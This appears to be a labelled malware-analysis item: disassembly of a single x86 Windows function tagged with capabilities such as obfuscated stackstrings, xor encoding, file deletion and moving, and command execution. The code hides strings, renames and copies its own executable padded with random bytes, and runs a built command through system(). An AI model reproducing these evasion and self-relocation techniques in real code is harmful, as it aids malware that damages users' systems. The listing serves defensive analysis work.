Function at 0x454e40
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47b1bd
mov eax, dword fs:[0]
push eax
sub esp, 0x97c
mov eax, dword [0x49d008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x940], 0
mov dword [ebp - 0x930], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x92c], 0xf
mov byte [ebp - 0x940], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454eb0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x940]
call fcn.00474d00
lea edx, [ebp - 0x940]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x6bc]
call fcn.0043d040
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x92c]
cmp ecx, 0x10
jb 0x454f24
mov edx, dword [ebp - 0x940]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454f1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x454f1a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00476ef0
add esp, 8
lea ecx, [ebp - 0x6a4]
mov dword [ebp - 0x930], 0
mov dword [ebp - 0x92c], 0xf
mov byte [ebp - 0x940], 0
call fcn.0043d140
mov byte [ebp - 4], 3
lea edi, [ebp - 0x6a4]
cmp dword [ebp - 0x690], 0x10
cmovae edi, dword [ebp - 0x6a4]
xor ecx, ecx
mov byte [ebp - 0x8fc], 0x35
mov byte [ebp - 0x8fb], 0x65
mov byte [ebp - 0x8fa], 0x65
mov byte [ebp - 0x8f9], 0
mov al, byte [ebp - 0x8fc]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x8fc]
sub al, 6
mov byte [ebp + ecx - 0x8fc], al
inc ecx
cmp ecx, 3
jb 0x454f90
mov byte [ebp - 0x8f5], 0
lea ecx, [ebp - 0x8f5]
mov al, byte [ebp - 0x8f5]
lea edx, [ecx + 1]
mov dword [ebp - 0x970], 0
mov dword [ebp - 0x960], 0
mov dword [ebp - 0x95c], 0xf
mov byte [ebp - 0x970], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454fe1
sub ecx, edx
lea eax, [ebp - 0x8f5]
push ecx
push eax
lea ecx, [ebp - 0x970]
call fcn.00474d00
mov byte [ebp - 4], 4
mov dword [ebp - 0x908], 0x3e
mov eax, dword [ebp - 0x908]
xor al, 0x2e
mov byte [ebp - 0x904], al
mov eax, dword [ebp - 0x908]
inc al
xor al, 0x65
mov byte [ebp - 0x903], al
mov eax, dword [ebp - 0x908]
add al, 2
xor al, 0x78
mov byte [ebp - 0x902], al
mov eax, dword [ebp - 0x908]
add al, 3
mov byte [ebp - 0x900], 0
xor al, 0x65
xor edx, edx
mov byte [ebp - 0x901], al
mov al, byte [ebp - 0x904]
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x904]
mov ecx, dword [ebp - 0x908]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x904], cl
inc edx
cmp edx, 4
jb 0x455060
lea ecx, [ebp - 0x904]
mov dword [ebp - 0x958], 0
mov byte [ebp - 0x900], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0xf
mov byte [ebp - 0x958], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4550b3
sub ecx, edx
lea eax, [ebp - 0x904]
push ecx
push eax
lea ecx, [ebp - 0x958]
call fcn.00474d00
lea eax, [ebp - 0x970]
mov byte [ebp - 4], 5
push eax
sub esp, 0x18
lea eax, [ebp - 0x6bc]
mov ecx, esp
lea esi, [ebp - 0x958]
push eax
call fcn.00474480
mov edx, esi
lea ecx, [ebp - 0x988]
call fcn.0043c710
mov esi, eax
add esp, 0x1c
cmp dword [esi + 0x14], 0x10
jb 0x45510b
mov esi, dword [esi]
mov ecx, dword [ebp - 0x974]
cmp ecx, 0x10
jb 0x455145
mov edx, dword [ebp - 0x988]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45513b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4551e5
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x944]
mov dword [ebp - 0x978], 0
mov dword [ebp - 0x974], 0xf
mov byte [ebp - 0x988], 0
cmp ecx, 0x10
jb 0x45519a
mov edx, dword [ebp - 0x958]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455190
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4551e5
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x95c]
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0xf
mov byte [ebp - 0x958], 0
cmp ecx, 0x10
jb 0x4551f5
mov edx, dword [ebp - 0x970]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4551eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4551eb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov dword [ebp - 0x960], 0
xor ecx, ecx
mov dword [ebp - 0x95c], 0xf
mov byte [ebp - 0x970], 0
mov byte [ebp - 0x914], 0x67
mov byte [ebp - 0x913], 0x67
mov byte [ebp - 0x912], 0x67
mov byte [ebp - 0x911], 0x69
mov byte [ebp - 0x910], 0x7b
mov byte [ebp - 0x90f], 0x6c
mov byte [ebp - 0x90e], 0x36
mov byte [ebp - 0x90d], 0x6d
mov byte [ebp - 0x90c], 0x80
mov byte [ebp - 0x90b], 0x6d
mov byte [ebp - 0x90a], 0
mov al, byte [ebp - 0x914]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x914]
sub al, 8
mov byte [ebp + ecx - 0x914], al
inc ecx
cmp ecx, 0xa
jb 0x455270
push edi
lea eax, [ebp - 0x3d0]
push 0x2bc
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x3d0]
push 0x2bc
push eax
call ebx
push esi
lea eax, [ebp - 0x3d0]
push 0x2bc
push eax
call ebx
lea eax, [ebp - 0x914]
push eax
lea eax, [ebp - 0x3d0]
push 0x2bc
push eax
call ebx
push 0xb8
lea eax, [ebp - 0x8f4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x30
lea eax, [ebp - 0x3d0]
lea ecx, [ebp - 0x8f4]
push eax
call fcn.00472ba0
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x8f4]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x8e8], 0
jne 0x45534e
lea ecx, [ebp - 0x8e4]
call fcn.00474910
test eax, eax
jne 0x45533e
push eax
mov eax, dword [ebp - 0x8f4]
lea ecx, [ebp - 0x8f4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
push 0xc0
lea eax, [ebp - 0x83c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3d0]
lea ecx, [ebp - 0x83c]
push 0x21
push eax
call fcn.00472a70
push 0xc0
lea eax, [ebp - 0x77c]
mov byte [ebp - 4], 7
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x77c]
push 0x22
push eax
call fcn.00472a70
lea ecx, [ebp - 0x83c]
mov byte [ebp - 4], 8
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
mov byte [ebp - 0x928], al
mov eax, dword [ebp - 0x83c]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x830], 1
jne 0x45541a
push dword [ebp - 0x928]
lea ecx, [ebp - 0x76c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
lea ecx, [ebp - 0x83c]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
mov byte [ebp - 0x928], al
mov eax, dword [ebp - 0x83c]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x830], 1
je 0x4553e3
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, 0x30f7
mov ebx, 3
nop word [eax + eax]
call edi
cdq
idiv ebx
cmp edx, 1
jge 0x455457
call edi
cdq
mov ecx, 0x32
idiv ecx
cmp edx, 0x14
jge 0x455465
push 0x20
lea ecx, [ebp - 0x76c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
push 0x20
lea ecx, [ebp - 0x76c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
sub esi, 1
jne 0x455430
lea ecx, [ebp - 0x824]
call fcn.00474910
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
test eax, eax
jne 0x455497
mov eax, dword [ebp - 0x83c]
lea ecx, [ebp - 0x83c]
push esi
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x764]
call fcn.00474910
test eax, eax
jne 0x4554be
push eax
mov eax, dword [ebp - 0x77c]
lea ecx, [ebp - 0x77c]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov byte [ebp - 0x924], 0x6f
xor ecx, ecx
mov byte [ebp - 0x923], 0x6d
mov byte [ebp - 0x922], 0x72
mov byte [ebp - 0x921], 0x79
mov byte [ebp - 0x920], 0x2a
mov byte [ebp - 0x91f], 0x31
mov byte [ebp - 0x91e], 0xa
mov byte [ebp - 0x91d], 0x31
mov byte [ebp - 0x91c], 0x2a
mov byte [ebp - 0x91b], 0x48
mov byte [ebp - 0x91a], 0x48
mov byte [ebp - 0x919], 0x2a
mov byte [ebp - 0x918], 0
mov al, byte [ebp - 0x924]
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x924]
sub al, 0xa
mov byte [ebp + ecx - 0x924], al
inc ecx
cmp ecx, 0xc
jb 0x455530
cmp dword [ebp - 0x6a8], 0x10
lea eax, [ebp - 0x924]
push eax
lea eax, [ebp - 0x68c]
push 0x2bc
lea esi, [ebp - 0x6bc]
cmovae esi, dword [ebp - 0x6bc]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
push esi
lea eax, [ebp - 0x68c]
push 0x2bc
push eax
call ebx
lea eax, [ebp - 0x68c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [ebp - 0x77c]
add esp, 0x1c
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_fstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x77c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0x780], eax
mov byte [ebp - 4], 9
cmp dword [ebp - 0x718], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x455600
mov eax, dword [ebp - 0x758]
lea ecx, [ebp - 0x728]
cmp dword [eax], ecx
jne 0x455600
mov edx, dword [ebp - 0x710]
mov ecx, dword [ebp - 0x714]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x748]
mov dword [eax], ecx
mov eax, dword [ebp - 0x738]
mov dword [eax], edx
cmp byte [ebp - 0x71c], 0
je 0x455614
lea ecx, [ebp - 0x764]
call fcn.00474910
lea ecx, [ebp - 0x764]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x75c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x704]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0x83c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_fstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x83c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0x840], eax
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x7d8], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x4556a6
mov eax, dword [ebp - 0x818]
lea ecx, [ebp - 0x7e8]
cmp dword [eax], ecx
jne 0x4556a6
mov edx, dword [ebp - 0x7d0]
mov ecx, dword [ebp - 0x7d4]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x808]
mov dword [eax], ecx
mov eax, dword [ebp - 0x7f8]
mov dword [eax], edx
cmp byte [ebp - 0x7dc], 0
je 0x4556ba
lea ecx, [ebp - 0x824]
call fcn.00474910
lea ecx, [ebp - 0x824]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x81c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x7c4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0x8f4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x8f4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x8f8], eax
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x898], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x45574c
mov eax, dword [ebp - 0x8d8]
lea ecx, [ebp - 0x8a8]
cmp dword [eax], ecx
jne 0x45574c
mov edx, dword [ebp - 0x890]
mov ecx, dword [ebp - 0x894]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8b8]
mov dword [eax], edx
cmp byte [ebp - 0x89c], 0
je 0x455760
lea ecx, [ebp - 0x8e4]
call fcn.00474910
lea ecx, [ebp - 0x8e4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x8dc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x884]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x690]
cmp ecx, 0x10
jb 0x4557ba
mov edx, dword [ebp - 0x6a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4557b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x455801
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov ecx, dword [ebp - 0x6a8]
mov dword [ebp - 0x694], 0
mov dword [ebp - 0x690], 0xf
mov byte [ebp - 0x6a4], 0
cmp ecx, 0x10
jb 0x455811
mov edx, dword [ebp - 0x6bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455807
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x455807
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00476b4c
mov esp, ebp
pop ebp
ret